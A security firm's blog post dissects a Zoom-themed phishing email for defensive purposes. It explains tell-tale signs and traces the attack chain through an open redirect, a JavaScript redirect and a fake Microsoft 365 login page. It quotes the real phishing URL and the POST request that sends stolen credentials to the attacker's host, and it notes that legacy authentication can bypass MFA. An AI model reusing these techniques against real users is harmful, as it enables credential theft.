7 Elements have been assisting businesses in investigating cybersecurity incidents for over 10 years. We’ve seen a significant increase in phishing incidentsover the last 6 months, mostly as a direct result of the increased use of remote services such as Zoom and Microsoft Teams.
The increased use of these services results in the perfect environment for phishing, since their legitimate emails often include links requesting users to log in or even to install applications. Attackers have been exploiting this trained behaviour by sending phishing emails that closely match these legitimate emails, requesting passwords or instructing victims to install malware.
This blog uses an example phishing email, claiming to contain a link to Zoom meeting, to demonstrate how to spot a fraudulent email. We’ll also take a closer look at what exactly happens when a user clicks on the link inside it.
Tell-Tale Signs: How to Catch a Phish
So, how can we tell that the email in question is fraudulent? To begin with, there are a couple of things that simply don’t look quite right.
For starters, regular Zoom users may know that Zoom emails typically contain the meeting ID and details of who the meeting is from, whereas this email is much more generic. Or, we may notice that the blue “Zoom” text doesn’t match Zoom’s usual branding. Their real logo uses a different font and is all lower case:
Also, while the sender’s address does appear to contain the word “zoom”, the very last part (called the domain) is actually “msvce.com”:
This is odd, since Zoom typically uses the domains zoom.us and zoom.com. Of course, we may not always know where legitimate emails from a given company should come from. However, if the sender’s domain is different to what we would expect to type into a browser to visit their website, it’s worth being suspicious.
We do need to bear in mind that it’s often possible for attackers to “spoof” emails, meaning they can make them appear as though they actually did come from zoom.com, or another legitimate address. Also, other attackers are better at copying the branding and email content of the real company. So, just because these things look good in an email, it doesn’t necessarily mean the email is legitimate. But if one or both of these things looks off, it’s a red flag.
So, how can we be sure? The crucial thing is the link which the email contains, since this is where the email is actually trying to get us to go. Rather than clicking on the link, we can hover over it with our mouse pointer to reveal where it goes:
On mobile phones, this can usually be done by long pressing on the link until a pop-up appears.
In this case, we can see that the link begins with “t.go.rac.co.uk”. While we may not recognise the address that’s used here, it doesn’t appear to be related to Zoom. We can confirm this by entering “t.go.rac.co.uk” into a search engine – when we do, none of the results have anything to do with Zoom. If performing this check, be sure to visit the search engine’s website and enter the suspicious domain into their search bar. Don’t enter it directly into your browser’s address bar to perform the search. While the browser’s address bar can be used for typical searches, if a domain is entered you will actually be taken there – and in this case, there’s a good chance the webpage will be malicious.
Sometimes attackers may use an address here which does resemble the name of the company, similar to the “z.o.o.mmsvce.com” which we saw earlier. But if the address in this link isn’t one which we know is legitimate, e.g. “zoom.com”, we shouldn’t click on it.
If we’re concerned that something needs our attention, e.g. if the email claims that we’ve been locked out of our PayPal account or that we owe HMRC more money than usual, the best thing to do is to access the website or contact the organisation in question directly using a method which we trust. For the previous examples, that would mean visiting PayPal through a bookmark or trusted link, or phoning HMRC on the telephone number published on their official website. You can then find out from the website or member of staff whether the content of the suspicious email is legitimate.
A Closer Look
Let’s look more closely at the malicious link contained in the email, to see what happens when a victim clicks on it. This section is written from a more technical perspective.
The link is:
http://t.go.rac.co.uk/r/?id=h1020a75,d7623c,1ac8b&p1=agricampo.com.ec/t-49-h49-v49-m49/Ym9iQGJvYi5jb20=%23#f49c49n49h49h49u49o49b49%23
So, the email is pointing potential victims to a host on rac.co.uk – a legitimate domain, belonging to the RAC breakdown cover and insurance company. The attacker appears to be taking advantage of the fact that a service hosted on an RAC subdomain contains an open redirect1. This is a type of web application vulnerability which allows attackers to direct victims to a malicious website via a link that begins with the address of a legitimate company. In this case, the address which the attacker is redirecting victims to is the section in red:
http://t.go.rac.co.uk/r/?id=h1020a75,d7623c,1ac8b&p1=agricampo.com.ec/t-49-h49-v49-m49/Ym9iQGJvYi5jb20=%23#f49c49n49h49h49u49o49b49%23
We can confirm this by replacing the red section with our own website’s address:
http://t.go.rac.co.uk/r/?id=h1020a75,d7623c,1ac8b&p1=7elements.co.uk
As expected, clicking this link takes us to the 7 Elements website. This is done by a simple HTTP 302 redirect from the RAC website.
Let’s see what happens when we actually click the link in the attacker’s email. Our browser is redirected from rac.co.uk to the agricampo.com.ec address, and sends a request to that server. The agricampo.com.ec server responds with an HTTP 404 page which contains a JavaScript redirect to the location in red:
HTTP/1.1 404 Not Found<<HTTP headers removed>>Link: <https://www.agricampo.com.ec/wp-json/>; rel="https://api.w.org/"<<HTTP headers removed>>Content-Type: text/html; charset=UTF-8
<script type="text/javascript">window.location.href = "https://mspabzbauilxv4l6.z6.web.core.windows.net/#bob@bob.com"</script>
Our browser is automatically redirected once again to this new link, which is hosted in Azure, and we’re presented with a fake Microsoft 365 login page asking the victim to “sign in to Zoom with your Microsoft 365 account”. The use of Azure in order to host this page on a “windows.net” URL gives the page some appearance of legitimacy:
Zoom doesn’t actually appear to allow signing in with a Microsoft ID currently, but the creator of this phishing page seems to have opted to run the risk of arousing suspicions through this request in order to capture Microsoft passwords rather than Zoom passwords. This is presumably because a Microsoft ID will potentially grant the attacker access to the victim’s personal or business email account. Email accounts are more valuable to an attacker than Zoom credentials, since they typically contain greater amounts of sensitive information and can often be used to reset the victim’s password for other websites. In the case of a business account being compromised, information found in the victim’s emails and calendar can then be used for further attacks against the business.
The victim’s email address is pre-filled in the login form above. This is tied to the link in the attacker’s email – for each phishing email that the attacker sends, the recipient’s email address is embedded in that email’s link. This means each potential target receives a unique link, tied to their email address. This allows the attacker to see who has clicked on their link, and also helps to make the login page more convincing – when the victim sees a login form with their email address pre-filled, it seems as though it’s a website they’ve used before.
The email address is Base64 encoded before being embedded in the phishing link. In our example, the encoded email address is the section in red:
http://t.go.rac.co.uk/r/?id=h1020a75,d7623c,1ac8b&p1=agricampo.com.ec/t-49-h49-v49-m49/Ym9iQGJvYi5jb20=%23#f49c49n49h49h49u49o49b49%23
This string (“Ym9iQGJvYi5jb20=”) decodes to “bob@bob.com”, the address which is also seen in the fake login page above. When we received this phishing email, the Base64-encoded section of the link contained the actual email address of the recipient – this has just been changed to “bob@bob.com” as an example for this blog. Interestingly, when we attempt to use the link with the email address completely removed or with a Base64-encoded value of “user@example.com”, the link redirects us to the legitimate Zoom website. This appears to be an attempt to hide the fact that the link is being used for phishing, and potentially also to stop the attacker from receiving submissions for known invalid email addresses.
When we submit a dummy password to the fake login page, we receive an error message telling us that we entered an incorrect password:
Behind the scenes, the user’s password is submitted to a PHP script hosted on ipcare.ae each time the user attempts to log in:
POST /mp.php HTTP/1.1Host: ipcare.ae<<HTTP headers removed>>u=bob%40bob.com&p=thisismypassword123!
The server at ipcare.ae responds with the following:
HTTP/1.1 200 OK<<HTTP headers removed>>GAGAL
Or, when no password was entered, it responds with:
HTTP/1.1 200 OK<<HTTP headers removed>>KOSONG
This may be a clue as to the origin of the phishing attempt, or at least the author of the phishing kit being used – “kosong” means “empty” in Indonesian, while “gagal” means “failed”.
These responses tell our fake login page what message to display to the victim who has just entered their password. Let’s take a closer look at the login page:
The script has been obfuscated, but we can simply run it through an online JavaScript deobfuscator. When we do that, we can see the code which tells the login page present the “sign in failed” message when the ipcare.ae server responds with GAGAL:
A similar if statement exists for the KOSONG (no password entered) response. Interestingly, we noticed that the page has also been coded to handle responses of “VALID”. As shown in the following screenshot, then this response is received the login page will redirect the user to the legitimate Zoom website. Before redirecting, the “Finish” class which is referenced will display the message “This video conferencing has been cancelled. You will be redirected to Zoom”.
We created a new Microsoft ID and entered its credentials into the fake login page, to see whether the attacker’s script was attempting to use the credentials and would respond VALID if it was successful. The server responded with GAGAL as before. We then entered credentials for our Office365 honeypot. This time, the credentials were verified by the phishing server and we received the “cancellation” message followed by a redirect to https://zoom.us:
We suspect the reason that only our Office 365 honeypot credentials were successful here was the fact that we have legacy authentication enabled on our honeypot. Legacy authentication doesn’t use MFA and is likely what the phishing script uses to verify the credentials that are submitted. It’s worth noting that legacy authentication can be used to bypass MFA in tenancies which support it, even if they also have modern authentication enabled (https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/block-legacy-authentication) – so disabling legacy authentication wherever possible is highly recommended.
Conclusion
Despite the initial email not being the most convincing, the fake login page which it linked to was much more sophisticated. The phishing chain makes use of an open redirect vulnerability within a legitimate service, leverages Microsoft’s own hosting and involves two compromised web sites. The Microsoft 365 branding was well imitated, and the attacker’s script even checks to see whether the credentials are valid. As well as helping the attacker to filter out submissions which they can’t use, this also makes the page appear more genuine to victims. Users who mistype their password the first time will be prompted to try again, before receiving a different message when they enter the correct password, just like the real thing.
It’s easy to see how a victim could give away their password without even noticing. Learning to spot the tell-tale signs is an important defence for users – and we can’t finish without a reminder to enable MFA and disable legacy authentication!
1 7 Elements worked with the RAC Group to ensure that the open redirect detailed in this report was resolved prior to publication.